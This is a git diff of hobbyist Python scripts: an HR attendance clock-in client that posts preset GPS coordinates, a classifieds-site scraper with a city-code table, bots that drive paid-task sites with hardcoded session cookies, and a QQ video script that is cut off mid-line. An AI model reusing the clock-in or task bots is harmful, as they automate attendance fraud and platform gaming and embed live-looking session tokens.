+ "msg": "服务异常", + "resultCode": "1111", + "data": null + } + :return: + """ + if not self.login_status and not self.check_security_token(): + self.login() + url = 'http://i.ioa.cn/hr/h/clockJsonController/addClockHistory' + + request_headers = self.headers.copy() + request_headers['securityToken'] = self.security_token + + payload = { + "longitude": self.longitude, # 经度 + "latitude": self.latitude, # 纬度 + "place": self.place, # 地址 + "clockType": 1, + "signType": 0, + "staffId": self.staff_id, # 员工编号 + "primaryOrgId": self.org_id # 组织编号 + } + res = s.post(url, json=payload, headers=request_headers, timeout=REQUESTS_TIME_OUT) + print(res.status_code) + print(json.dumps(res.json(), indent=4, ensure_ascii=False)) + + +if __name__ == '__main__': + # 打卡 + ioa_client = IoaClient( + username='13800000000', + password='123456', + ) + # ioa_client.login() + # ioa_client.get_statistics_by_day() + ioa_client.fuck() + ioa_client.get_statistics_by_day() diff --git a/fuck/js_sogou.py b/fuck/js_sogou.py new file mode 100644 index 0000000..650bcdc --- /dev/null +++ b/fuck/js_sogou.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: js_sogou.py +@time: 2017/11/29 上午11:38 +""" + +import execjs + + +ss = u''' + def res() { + return d; + } +''' + +ctx = execjs.compile(ss) + + + +if __name__ == '__main__': + pass diff --git a/fuck/liebiao.py b/fuck/liebiao.py new file mode 100644 index 0000000..1e4110b --- /dev/null +++ b/fuck/liebiao.py @@ -0,0 +1,538 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: liebiao.py +@time: 2017/8/23 上午10:34 +""" + + +import lxml.html +import requests + + +header_cate = { + 'Host': 'shanghai.liebiao.com', + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' +} + +header_city = { + 'Host': 'www.liebiao.com', + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' +} + +s = requests.session() + + +city_map = { + 'anshan': 2103, # 鞍山 + 'anyang': 4105, # 安阳 + 'anshun': 5204, # 安顺 + 'anqing': 3408, # 安庆 + 'ankang': 6109, # 安康 + 'ali': 5425, # 阿里 + 'aletai': 6543, # 阿勒泰 + 'alashan': 1529, # 阿拉善 + 'alaer': 6545, # 阿拉尔 + 'akesu': 6529, # 阿克苏 + 'aba': 5132, # 阿坝 + 'beijing': 11, # 北京 + 'baoding': 1306, # 保定 + 'baotou': 1502, # 包头 + 'binzhou': 3716, # 滨州 + 'baicheng': 2208, # 白城 + 'bengbu': 3403, # 蚌埠 + 'benxi': 2105, # 本溪 + 'bijie': 5224, # 毕节 + 'boertala': 6527, # 博尔塔拉 + 'beihai': 4505, # 北海 + 'bazhong': 5119, # 巴中 + 'bayinguoleng': 6528, # 巴音郭楞 + 'bayannaoer': 1508, # 巴彦淖尔 + 'baoshan': 5305, # 保山 + 'baoji': 6103, # 宝鸡 + 'baiyin': 6204, # 白银 + 'baishan': 2206, # 白山 + 'baise': 4510, # 百色 + 'bozhou': 3416, # 亳州 + 'baisha': 43, # 白沙 + 'baoting': 6325, # 保亭 + 'chongqing': 50, # 重庆 + 'chengdu': 5101, # 成都 + 'changchun': 2201, # 长春 + 'changsha': 4301, # 长沙 + 'changzhou': 3204, # 常州 + 'cangzhou': 1309, # 沧州 + 'changde': 4307, # 常德 + 'chuxiong': 5323, # 楚雄 + 'chongzuo': 4514, # 崇左 + 'changdu': 5421, # 昌都 + 'chaozhou': 4451, # 潮州 + 'chenzhou': 4310, # 郴州 + 'chizhou': 3417, # 池州 + 'chaohu': 3414, # 巢湖 + 'chuzhou': 3411, # 滁州 + 'chaoyang': 2113, # 朝阳 + 'chifeng': 1504, # 赤峰 + 'changzhi': 1404, # 长治 + 'chengde': 1308, # 承德 + 'changji': 6523, # 昌吉 + 'changjiang': 6325, # 昌江 + 'chengmai': 6325, # 澄迈 + 'dalian': 2102, # 大连 + 'daqing': 2306, # 大庆 + 'dongguan': 4419, # 东莞 + 'dongying': 3705, # 东营 + 'dezhou': 3714, # 德州 + 'diqing': 5334, # 迪庆 + 'dehong': 5331, # 德宏 + 'dali': 5329, # 大理 + 'dazhou': 5117, # 达州 + 'deyang': 5106, # 德阳 + 'datong': 1402, # 大同 + 'daxinganling': 2327, # 大兴安岭 + 'dandong': 2106, # 丹东 + 'dingxi': 6211, # 定西 + 'danzhou': 4605, # 儋州 + 'dongfang': 4608, # 东方 + 'dingan': 6325, # 定安 + 'eerduosi': 1506, # 鄂尔多斯 + 'enshi': 4228, # 恩施 + 'ezhou': 4207, # 鄂州 + 'fuzhou': 3501, # 福州 + 'foshan': 4406, # 佛山 + 'fangchenggang': 4506, # 防城港 + 'fushun': 2104, # 抚顺 + 'fuxin': 2109, # 阜新 + 'fuyang': 3412, # 阜阳 + 'fz': 3610, # 抚州 + 'guangzhou': 4401, # 广州 + 'guiyang': 5201, # 贵阳 + 'guilin': 4503, # 桂林 + 'guoluo': 6326, # 果洛 + 'guigang': 4508, # 贵港 + 'gannan': 6230, # 甘南 + 'guangyuan': 5108, # 广元 + 'guangan': 5116, # 广安 + 'ganzi': 5133, # 甘孜 + 'ganzhou': 3607, # 赣州 + 'guyuan': 6404, # 固原 + 'hangzhou': 3301, # 杭州 + 'haerbin': 2301, # 哈尔滨 + 'hefei': 3401, # 合肥 + 'haikou': 4601, # 海口 + 'handan': 1304, # 邯郸 + 'huizhou': 4413, # 惠州 + 'huhehaote': 1501, # 呼和浩特 + 'huzhou': 3305, # 湖州 + 'hengyang': 4304, # 衡阳 + 'huaian': 3208, # 淮安 + 'hengshui': 1311, # 衡水 + 'hezhou': 4511, # 贺州 + 'heyuan': 4416, # 河源 + 'hechi': 4512, # 河池 + 'honghe': 53, # 红河 + 'hanzhong': 6107, # 汉中 + 'haidong': 6321, # 海东 + 'haibei': 6322, # 海北 + 'huangnan': 6323, # 黄南 + 'hami': 6522, # 哈密 + 'haixi': 6328, # 海西 + 'huaihua': 4312, # 怀化 + 'hulunbeier': 1507, # 呼伦贝尔 + 'huludao': 2114, # 葫芦岛 + 'hegang': 2304, # 鹤岗 + 'heihe': 2311, # 黑河 + 'huainan': 3404, # 淮南 + 'huaibei': 3406, # 淮北 + 'huangshan': 3410, # 黄山 + 'heze': 3717, # 菏泽 + 'hebi': 4106, # 鹤壁 + 'huangshi': 4202, # 黄石 + 'huanggang': 4211, # 黄冈 + 'hetian': 6532, # 和田 + 'jinan': 3701, # 济南 + 'jining': 3708, # 济宁 + 'jiaxing': 3304, # 嘉兴 + 'jinhua': 3307, # 金华 + 'jiangmen': 4407, # 江门 + 'jilin': 22, # 吉林 + 'jieyang': 4452, # 揭阳 + 'jinchang': 6203, # 金昌 + 'jingzhou': 4210, # 荆州 + 'jingmen': 4208, # 荆门 + 'jiyuan': 4118, # 济源 + 'jiaozuo': 4108, # 焦作 + 'jiayuguan': 6202, # 嘉峪关 + 'jincheng': 1405, # 晋城 + 'jian': 3608, # 吉安 + 'jiujiang': 3604, # 九江 + 'jingdezhen': 3602, # 景德镇 + 'jiamusi': 2308, # 佳木斯 + 'jixi': 2303, # 鸡西 + 'jinzhou': 2107, # 锦州 + 'jinzhong': 1407, # 晋中 + 'jiuquan': 6209, # 酒泉 + 'kunming': 5301, # 昆明 + 'kaifeng': 4102, # 开封 + 'kashi': 6531, # 喀什 + 'kelamayi': 6502, # 克拉玛依 + 'kezilesu': 65, # 克孜勒苏 + 'lanzhou': 6201, # 兰州 + 'lasa': 5401, # 拉萨 + 'linyi': 3713, # 临沂 + 'luoyang': 4103, # 洛阳 + 'langfang': 1310, # 廊坊 + 'liaocheng': 3715, # 聊城 + 'luzhou': 5105, # 泸州 + 'leshan': 5111, # 乐山 + 'liangshan': 5134, # 凉山 + 'liupanshui': 5202, # 六盘水 + 'lijiang': 5307, # 丽江 + 'lincang': 5309, # 临沧 + 'linzhi': 5426, # 林芝 + 'longnan': 6212, # 陇南 + 'laibin': 4513, # 来宾 + 'liuzhou': 4502, # 柳州 + 'loudi': 4313, # 娄底 + 'linfen': 1410, # 临汾 + 'lvliang': 1411, # 吕梁 + 'liaoyang': 2110, # 辽阳 + 'liaoyuan': 2204, # 辽源 + 'lianyungang': 3207, # 连云港 + 'lishui': 3311, # 丽水 + 'luan': 3415, # 六安 + 'longyan': 3508, # 龙岩 + 'laiwu': 3712, # 莱芜 + 'luohe': 4111, # 漯河 + 'linxia': 6229, # 临夏 + 'ledong': 6325, # 乐东 + 'lingao': 6325, # 临高 + 'lingshui': 6325, # 陵水 + 'maoming': 4409, # 茂名 + 'mianyang': 5107, # 绵阳 + 'maanshan': 3405, # 马鞍山 + 'meishan': 5114, # 眉山 + 'meizhou': 4414, # 梅州 + 'mudanjiang': 2310, # 牡丹江 + 'nanjing': 3201, # 南京 + 'nanning': 4501, # 南宁 + 'ningbo': 3302, # 宁波 + 'nantong': 3206, # 南通 + 'nanyang': 4113, # 南阳 + 'nanchang': 3601, # 南昌 + 'nanping': 3507, # 南平 + 'naqu': 5424, # 那曲 + 'neijiang': 5110, # 内江 + 'nanchong': 5113, # 南充 + 'ningde': 3509, # 宁德 + 'nujiang': 5333, # 怒江 + 'pingdingshan': 4104, # 平顶山 + 'panjin': 2111, # 盘锦 + 'panzhihua': 5104, # 攀枝花 + 'pingliang': 6208, # 平凉 + 'pingxiang': 3603, # 萍乡 + 'puer': 5311, # 普洱 + 'putian': 3503, # 莆田 + 'puyang': 4109, # 濮阳 + 'qingdao': 3702, # 青岛 + 'quanzhou': 3505, # 泉州 + 'qinhuangdao': 1303, # 秦皇岛 + 'qujing': 5303, # 曲靖 + 'qitaihe': 2309, # 七台河 + 'qiqihaer': 2302, # 齐齐哈尔 + 'qionghai': 4604, # 琼海 + 'qinzhou': 4507, # 钦州 + 'qiandongnan': 5226, # 黔东南 + 'qingyuan': 4418, # 清远 + 'qingyang': 6210, # 庆阳 + 'qianxinan': 5223, # 黔西南 + 'qiannan': 5227, # 黔南 + 'qianjiang': 4230, # 潜江 + 'quzhou': 3308, # 衢州 + 'qiongzhong': 6325, # 琼中 + 'rikaze': 5423, # 日喀则 + 'rizhao': 3711, # 日照 + 'shanghai': 31, # 上海 + 'suzhou': 3205, # 苏州 + 'shenyang': 2101, # 沈阳 + 'shijiazhuang': 1301, # 石家庄 + 'shenzhen': 4403, # 深圳 + 'shaoxing': 3306, # 绍兴 + 'shantou': 4405, # 汕头 + 'shangqiu': 4114, # 商丘 + 'suihua': 2312, # 绥化 + 'shaoguan': 4402, # 韶关 + 'siping': 2203, # 四平 + 'shuozhou': 1406, # 朔州 + 'shanwei': 4415, # 汕尾 + 'sanya': 4602, # 三亚 + 'suining': 5109, # 遂宁 + 'shannan': 5422, # 山南 + 'shangluo': 6110, # 商洛 + 'shizuishan': 6402, # 石嘴山 + 'shaoyang': 4305, # 邵阳 + 'shennongjia': 4232, # 神农架 + 'suqian': 3213, # 宿迁 + 'shuangyashan': 2305, # 双鸭山 + 'suzh': 3413, # 宿州 + 'sanming': 3504, # 三明 + 'shangrao': 3611, # 上饶 + 'sanmenxia': 4112, # 三门峡 + 'songyuan': 2207, # 松原 + 'shiyan': 4203, # 十堰 + 'suizhou': 4213, # 随州 + 'shihezi': 6544, # 石河子 + 'sansha': 6325, # 三沙 + 'tianjin': 12, # 天津 + 'taiyuan': 1401, # 太原 + 'tangshan': 1302, # 唐山 + 'taizhou': 3310, # 台州 + 'taian': 3709, # 泰安 + 'taizh': 3212, # 泰州 + 'tongling': 3407, # 铜陵 + 'tongren': 5222, # 铜仁 + 'tulufan': 6521, # 吐鲁番 + 'tacheng': 6542, # 塔城 + 'tongliao': 1505, # 通辽 + 'tonghua': 2205, # 通化 + 'tongchuan': 6102, # 铜川 + 'tieling': 2112, # 铁岭 + 'tianshui': 6205, # 天水 + 'tianmen': 4231, # 天门 + 'tumushuke': 6546, # 图木舒克 + 'tunchang': 6325, # 屯昌 + 'wuhan': 4201, # 武汉 + 'wulumuqi': 6501, # 乌鲁木齐 + 'wenzhou': 3303, # 温州 + 'wuxi': 3202, # 无锡 + 'weihai': 3710, # 威海 + 'weifang': 3707, # 潍坊 + 'wulanchabu': 1509, # 乌兰察布 + 'wuwei': 6206, # 武威 + 'wuzhong': 6403, # 吴忠 + 'wujiaqu': 6547, # 五家渠 + 'wuhu': 3402, # 芜湖 + 'wanning': 4607, # 万宁 + 'wuhai': 1503, # 乌海 + 'wenshan': 5326, # 文山 + 'wenchang': 4606, # 文昌 + 'weinan': 6105, # 渭南 + 'wuzhou': 4504, # 梧州 + 'wuzhishan': 4603, # 五指山 + 'xian': 6101, # 西安 + 'xiamen': 3502, # 厦门 + 'xuzhou': 3203, # 徐州 + 'xingtai': 1305, # 邢台 + 'xiangfan': 4206, # 襄樊 + 'xuchang': 4110, # 许昌 + 'xinxiang': 4107, # 新乡 + 'xishuangbanna': 5328, # 西双版纳 + 'xiangxi': 4331, # 湘西 + 'xianyang': 6104, # 咸阳 + 'xiangtan': 4303, # 湘潭 + 'xiantao': 4229, # 仙桃 + 'xianning': 4212, # 咸宁 + 'xiaogan': 4209, # 孝感 + 'xinyang': 4115, # 信阳 + 'xinyu': 3605, # 新余 + 'xuancheng': 3418, # 宣城 + 'xilinguole': 15, # 锡林郭勒 + 'xingan': 15, # 兴安 + 'xinzhou': 1409, # 忻州 + 'xining': 6301, # 西宁 + 'yinchuan': 6401, # 银川 + 'yantai': 3706, # 烟台 + 'yancheng': 3209, # 盐城 + 'yangzhou': 3210, # 扬州 + 'yueyang': 4306, # 岳阳 + 'yichang': 4205, # 宜昌 + 'yangquan': 1403, # 阳泉 + 'yulin': 4509, # 玉林 + 'yibin': 5115, # 宜宾 + 'yaan': 5118, # 雅安 + 'yuxi': 5304, # 玉溪 + 'yanan': 6106, # 延安 + 'yul': 6108, # 榆林 + 'yushu': 6327, # 玉树 + 'yunfu': 4453, # 云浮 + 'yangjiang': 4417, # 阳江 + 'yuncheng': 1408, # 运城 + 'yingkou': 2108, # 营口 + 'yanbian': 2224, # 延边 + 'yichun': 2307, # 伊春 + 'yingtan': 3606, # 鹰潭 + 'yich': 3609, # 宜春 + 'yiyang': 4309, # 益阳 + 'yongzhou': 4311, # 永州 + 'yili': 6540, # 伊犁 + 'yangpu': 6325, # 洋浦 + 'zhengzhou': 4101, # 郑州 + 'zhuhai': 4404, # 珠海 + 'zibo': 3703, # 淄博 + 'zhenjiang': 3211, # 镇江 + 'zhangzhou': 3506, # 漳州 + 'zhongshan': 4420, # 中山 + 'zhanjiang': 4408, # 湛江 + 'zhaoqing': 4412, # 肇庆 + 'zhoukou': 4116, # 周口 + 'zaozhuang': 3704, # 枣庄 + 'zhumadian': 4117, # 驻马店 + 'zunyi': 5203, # 遵义 + 'zhaotong': 5306, # 昭通 + 'zhangjiakou': 1307, # 张家口 + 'zhangye': 6207, # 张掖 + 'ziyang': 5120, # 资阳 + 'zigong': 5103, # 自贡 + 'zhangjiajie': 4308, # 张家界 + 'zhuzhou': 4302, # 株洲 + 'zhoushan': 3309, # 舟山 + 'zhongwei': 6405, # 中卫 +} + + +def get_cate(): + """ + 获取分类 + :return: + """ + s.headers = header_cate + url = 'http://shanghai.liebiao.com/shenghuo/' + html = s.get(url).text + doc = lxml.html.fromstring(html) + + dl = doc.xpath('//div[@class="hover-div"]//tr') + # 形式一 + # for item in dl: + # # dt + # cate_code = item.xpath('./th/a/@href')[0].strip('/') + # cate_name = item.xpath('./th/a/text()')[0].strip() + # print cate_code, cate_name + # # dd + # dd_list = item.xpath('./td/a') + # for dd in dd_list: + # cate_code_small = dd.xpath('./@href')[0].strip('/') + # cate_name_small = dd.xpath('./text()')[0].strip('') + # print '\t', cate_code_small, cate_name_small + + # 形式二 + print 'cate_map = [' + for item in dl: + # dt + cate_code = item.xpath('./th/a/@href')[0].strip('/') + cate_name = item.xpath('./th/a/text()')[0].strip() + print '\t# %s' % cate_name + print '\t{' + print '\t\t\'code\': \'%s\',' % cate_code + print '\t\t\'name\': u\'%s\',' % cate_name + print '\t\t\'small\': [' + # dd + dd_list = item.xpath('./td/a') + for dd in dd_list: + cate_code_small = dd.xpath('./@href')[0].strip('/') + cate_name_small = dd.xpath('./text()')[0].strip('') + print '\t\t\t{' + print '\t\t\t\t\'code\': \'%s\',' % cate_code_small + print '\t\t\t\t\'name\': u\'%s\',' % cate_name_small + # print '\t\t\t\t\'id\': \'%s\',' % cate_map_v4.get(cate_code_small, '') + print '\t\t\t\t\'id\': \'\',' + print '\t\t\t},' + print '\t\t]' + print '\t},' + print ']' + + +def get_city(): + """ + 获取城市 + :return: + """ + s.headers = header_city + url = 'http://www.liebiao.com/' + html = s.get(url).text + doc = lxml.html.fromstring(html) + dd_list = doc.xpath('//div[@class="box w_d"]/dl/dd/a') + for dd in dd_list: + city_code = dd.xpath('./@href')[0].replace('http://', '').replace('.liebiao.com/', '') + city_name = dd.xpath('./text()')[0].strip() + print city_code, city_name + yield city_code, city_name + + +def get_area_list(city_code, city_name, province='', district=''): + """ + 获取区域列表 + :param city_code: + :param city_name: + :param province: + :param district: + :return: + """ + url = 'http://%s.liebiao.com/yuesao/' % city_code + + header_area = { + 'Host': '%s.liebiao.com' % city_code, + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' + } + + s.headers = header_area + + html = s.get(url).text + doc = lxml.html.fromstring(html) + link_list = doc.xpath('//div[@class="cond-con"]/dl[2]/dd/a[not(@class="current")]') + area_list = [] + for link_item in link_list: + city_code_small = link_item.xpath('./@href')[0].strip().split('/')[-3] + city_name_small = link_item.xpath('./text()')[0].strip() + area_list.append((city_code_small, city_name_small)) + print area_list + + return { + 'city_code': city_code, + 'city_name': city_name, + 'province': province, + 'district': district, + 'area_list': area_list, + } + + +def output_city_area(): + """ + 输出城市地区到文件 + :return: + """ + with open('city_area_lb.py', 'wb') as f: + + f.write("# encoding: utf-8\n\n") + + f.write('city_map = [\n') + + for city_code, city_name in get_city(): + + city_info = get_area_list(city_code, city_name) + city_id = city_map.get(city_code) + f.write('\t# %s\n' % city_name.encode('utf-8')) + f.write('\t{\n') + f.write('\t\t\'code\': \'%s\',\n' % city_code) + f.write('\t\t\'name\': u\'%s\',\n' % city_name.encode('utf-8')) + f.write('\t\t\'id\': %s,\n' % city_id) + f.write('\t\t\'small\': [\n') + for area in city_info['area_list']: + f.write('\t\t\t{\n') + f.write('\t\t\t\t\'code\': \'%s\',\n' % area[0]) + f.write('\t\t\t\t\'name\': u\'%s\',\n' % area[1].encode('utf-8')) + f.write('\t\t\t\t\'id\': %s\n' % city_id) + f.write('\t\t\t},\n') + f.write('\t\t]\n') + f.write('\t},\n') + f.flush() + f.write(']') + + +if __name__ == '__main__': + # get_cate() + # get_city() + # get_area_list('shanghai', '上海') + output_city_area() diff --git a/fuck/logo.gif b/fuck/logo.gif new file mode 100644 index 0000000..465401e Binary files /dev/null and b/fuck/logo.gif differ diff --git a/fuck/pphongbao.py b/fuck/pphongbao.py new file mode 100644 index 0000000..842a448 --- /dev/null +++ b/fuck/pphongbao.py @@ -0,0 +1,204 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: pphongbao.py +@time: 2018-03-20 17:45 +""" + +from __future__ import print_function +from __future__ import unicode_literals + +import time +import requests +import json +from scrapy.selector import Selector + +REQUESTS_TIME_OUT = (30, 30) + +HEADERS = { + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D100 Safari/604.1', + 'X-Requested-With': 'XMLHttpRequest', +} + + +class PPHB(object): + def __init__(self, session_id): + self.s = requests.session() + self.cookies = { + 'PHPSESSID': session_id, + '_cb': '1', + 'Hm_lpvt_e91800291a5741f043ef7d78a2580f0b': '1521613708', + 'Hm_lvt_e91800291a5741f043ef7d78a2580f0b': '1521604913,1521604974,1521605859,1521606583', + 'ppport': '10091', + 'fast_s_n': '1', + 'USERINFO': '3lHu6GDZT3cLDA90NDk6wFbDzb3dvkj%2F6UQII%2FN1RVHlRLwrFP2dI3EfT6SFOsq4wPuZmI3CW%2BysJrCMJs4qzVwQZBwjwlsnA%2FMIOd4DD3yihrOJH4qmNnR7VGBRsh7U7s%2BGkrh%2BLSp7wH%2B8OLlSlY7B17SliI1OTr0igTiH31UVnGmO8iDAfVcZZw%2F0AuzRebb3eKdKGSKvUC3RfnWziJJTTDkqxxOxYViVKkDN66KfLFa4h4Tz1NfQbQizMgY4xRPXyJa%2Fm5Vw3Rl1KkJGhZ%2FBzNISHRQkcOY7e2NN32Q2P6WloGKneQDzJzrJvyq0DNl9eGmZS34%3D', + '1c6abf7a3ce9f84965344760d015a2ae': '1', + 'scheme': 'com.sport.aerobico', + } + + @staticmethod + def _get_tc(): + tc = str('%13d' % (time.time() * 1000)) + return tc + + task_list = [] + + def get_list(self): + url = 'http://pphongbao.com/index.php/fasttask/index' + params = {} + + request_headers = HEADERS.copy() + request_headers['Host'] = 'pphongbao.com' + request_headers['Referer'] = 'http://pphongbao.com/' + + request_cookie = self.cookies.copy() + + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, + ) + + print(res.url) + print(res.status_code) + + self.cookies.update(res.cookies) + # print(res.content) + # result = res.json() + # print(json.dumps(result, indent=4)) + + response = Selector(res) + + # 进行中任务 + xpath_list_process = '//ul[@class="type-reserved"]/li[@class!="item-divider pp-flex"]' + res_list_process = response.xpath(xpath_list_process) + + process_result = [] + for item in res_list_process: + data_item = { + 'data_index': item.xpath('./@data-index').extract_first(), + 'data_id': item.xpath('./a/@data-id').extract_first(), + 'data_righttime': item.xpath('./a/@data-righttime').extract_first(), + 'data_amount': item.xpath('./a/@data-amount').extract_first(), + 'item_title': item.xpath('.//div[@class="item-title"]/text()').extract_first(default='').lstrip( + '搜索: '), + } + process_result.append(data_item) + print('进行中的任务') + print(json.dumps(process_result, indent=4, ensure_ascii=False)) + # 任务列表 + xpath_list = '//ul[@class="type-fast"]/li[@class!="item-divider pp-flex"]' + + res_list = response.xpath(xpath_list) + + task_result = [] + for item in res_list: + data_item = { + 'data_index': item.xpath('./@data-index').extract_first(), + 'data_id': item.xpath('./a/@data-id').extract_first(), + 'data_righttime': item.xpath('./a/@data-righttime').extract_first(), + 'data_amount': item.xpath('./a/@data-amount').extract_first(), + 'item_title': item.xpath('.//div[@class="item-title"]/text()').extract_first(default='').lstrip('搜索: '), + } + task_result.append(data_item) + print('新任务') + print(json.dumps(task_result, indent=4, ensure_ascii=False)) + return task_result + + def start_task(self, task_id): + url = 'http://pphongbao.com/index.php/fasttask/startTask' + + sign_task = '' + # TODO + + request_headers = HEADERS.copy() + request_headers['Host'] = 'pphongbao.com' + request_headers['Referer'] = 'http://pphongbao.com/' + request_headers['sign'] = sign_task + + request_cookie = self.cookies.copy() + + form_data = { + 'fast_id': task_id, + '_sysversion': '11.2.6', + '_mobile': '15D100', + '_width': '320', + 'sign': sign_task, + } + + res = self.s.post( + url, + data=form_data, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, + ) + print(res.status_code) + print(res.content) + self.cookies.update(res.cookies) + + def get_detail(self, task_id): + url = 'http://pphongbao.com/index.php/fasttask/detail' + params = { + 'fast_id': task_id, + } + + request_headers = HEADERS.copy() + request_headers['Host'] = 'pphongbao.com' + request_headers['Referer'] = 'http://pphongbao.com/' + + request_cookie = self.cookies.copy() + + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, + ) + + print(res.url) + print(res.status_code) + print(res.content) + + def gave_up_task(self, task_id): + url = 'http://pphongbao.com/index.php/fasttask/giveupTask' + request_headers = HEADERS.copy() + request_headers['Host'] = 'pphongbao.com' + request_headers['Referer'] = 'http://pphongbao.com/' + + request_cookie = self.cookies.copy() + + form_data = { + 'fast_id': task_id, + } + + res = self.s.post( + url, + data=form_data, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, + ) + print(res.status_code) + print(res.content) + self.cookies.update(res.cookies) + +if __name__ == '__main__': + pphb = PPHB('pg5g7t33ogh0pbvn3n37t54g25') + task_list = pphb.get_list() + for i, task_item in enumerate(task_list): + if i == 0: + # 第一个是收徒,忽略 + continue + pphb_task_id = task_item['data_id'] + print(task_item) + # pphb.start_task(pphb_task_id) + pphb.get_detail(pphb_task_id) + # pphb.gave_up_task(pphb_task_id) + break diff --git a/fuck/qianka.py b/fuck/qianka.py new file mode 100644 index 0000000..1a611c5 --- /dev/null +++ b/fuck/qianka.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: qianka.py +@time: 2018-03-20 17:29 +""" + +from __future__ import print_function +from __future__ import unicode_literals + +import time +import requests +import json + + +REQUESTS_TIME_OUT = (30, 30) + + +HEADERS = { + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D100 Safari/604.1', + 'X-Requested-With': 'XMLHttpRequest', +} + + +class QianKa(object): + task_process_status = {} + + def __init__(self, sid): + self.sid = sid + self.s = requests.session() + self.cookies = { + 'DIS4': self.sid, + } + self.task_id_list = [] + + @staticmethod + def _get_tc(): + tc = str('%13d' % (time.time() * 1000)) + return tc + + def task_list(self): + url = 'https://qianka.com/s4/lite.subtask.list' + params = { + 't': self._get_tc(), + } + + request_headers = HEADERS.copy() + request_headers['Host'] = 'qianka.com' + request_headers['Referer'] = 'https://qianka.com/v4/tasks/lite' + request_headers['X-QK-DIS'] = self.sid + + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=self.cookies, + timeout=REQUESTS_TIME_OUT, + verify=False, + ) + + print(res.url) + print(res.status_code) + result = res.json() + print(json.dumps(result, indent=4, ensure_ascii=False)) + self.task_id_list = [i['id'] for i in result['payload']['tasks']] + + def task_start(self, task_id): + url = 'https://qianka.com/s4/lite.subtask.start' + + request_headers = HEADERS.copy() + request_headers['Host'] = 'qianka.com' + request_headers['Referer'] = 'https://qianka.com/v4/tasks/lite' + request_headers['X-QK-DIS'] = self.sid + + params = { + 't': self._get_tc(), + 'task_id': task_id, + 'quality': 0, + } + + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=self.cookies, + timeout=REQUESTS_TIME_OUT, + verify=False, + ) + + print(res.url) + print(res.status_code) + result = res.json() + print(json.dumps(result, indent=4, ensure_ascii=False)) + self.task_process_status[task_id] = result['payload']['type'] + + def check_task_process_status(self, task_id): + while 1: + if task_id not in self.task_process_status: + self.task_start(task_id) + elif self.task_process_status[task_id] != 2: + time.sleep(2) + self.task_start(task_id) + else: + break + + def task_detail(self, task_id): + url = 'https://qianka.com/s4/lite.subtask.detail' + + params = { + 't': self._get_tc(), + 'task_id': task_id, + } + + request_headers = HEADERS.copy() + request_headers['Host'] = 'qianka.com' + request_headers['Referer'] = 'https://qianka.com/v4/tasks/lite' + request_headers['X-QK-DIS'] = self.sid + + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=self.cookies, + timeout=REQUESTS_TIME_OUT, + verify=False, + ) + + print(res.url) + print(res.status_code) + result = res.json() + print(json.dumps(result, indent=4, ensure_ascii=False)) + + +if __name__ == '__main__': + qk_client = QianKa(sid='06e1b64ca1244f00a1f394d05714d4c3') + qk_client.task_list() + for task_item_id in qk_client.task_id_list: + qk_client.check_task_process_status(task_item_id) + qk_client.task_detail(task_item_id) diff --git a/fuck/qq_video.py b/fuck/qq_video.py new file mode 100644 index 0000000..3a4e11a --- /dev/null +++ b/fuck/qq_video.py @@ -0,0 +1,124 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: qq_video.py +@time: 2018-03-22 16:45 +""" + + +from __future__ import print_function +from __future__ import unicode_literals + +import time +import requests + + +REQUESTS_TIME_OUT = (30, 30) + +HEADERS = { + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36', + # 'X-Requested-With': 'XMLHttpRequest', +} + + +class QQVideo(object): + def __init__(self, vid): + self.vid = vid + self.s = requests.session() + self.cookies = {} + + @staticmethod + def _get_tc(): + tc = str('%10d' % time.time()) + return tc + + def a(self): + url = 'https://v.qq.com/iframe/preview.html' + params = { + 'vid': self.vid, + 'width': 500, + 'height': 375, + 'auto': 0, + } + request_headers = HEADERS.copy() + # request_headers['Host'] = 'pphongbao.com' + # request_headers['Referer'] = 'http://pphongbao.com/' + + request_cookie = self.cookies.copy() + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, + ) + print(res.status_code) + print(res.content) + + def getinfo(self): + url = 'https://h5vv.video.qq.com/getinfo' + params = { + 'callback': 'tvp_request_getinfo_callback_41129', + 'platform': 11001, + 'charge': 0, + 'otype': 'json', + 'ehost': 'https://v.qq.com', + 'sphls': 0, + 'sb': 1, + 'nocache': 0, + '_rnd': self._get_tc(), + 'guid': 'a30b9989e977cba7534ae35f968152f2', + 'appVer': 'V2.0Build9496', + 'vids': 'a0566mb7a7o', + 'defaultfmt': 'auto', + '_qv_rmt': 'y1mmy6reA12797AGf=', + '_qv_rmt2': 'IpHx2z2m151097kWg=', + 'sdtfrom': 'v1010', + } + + request_headers = 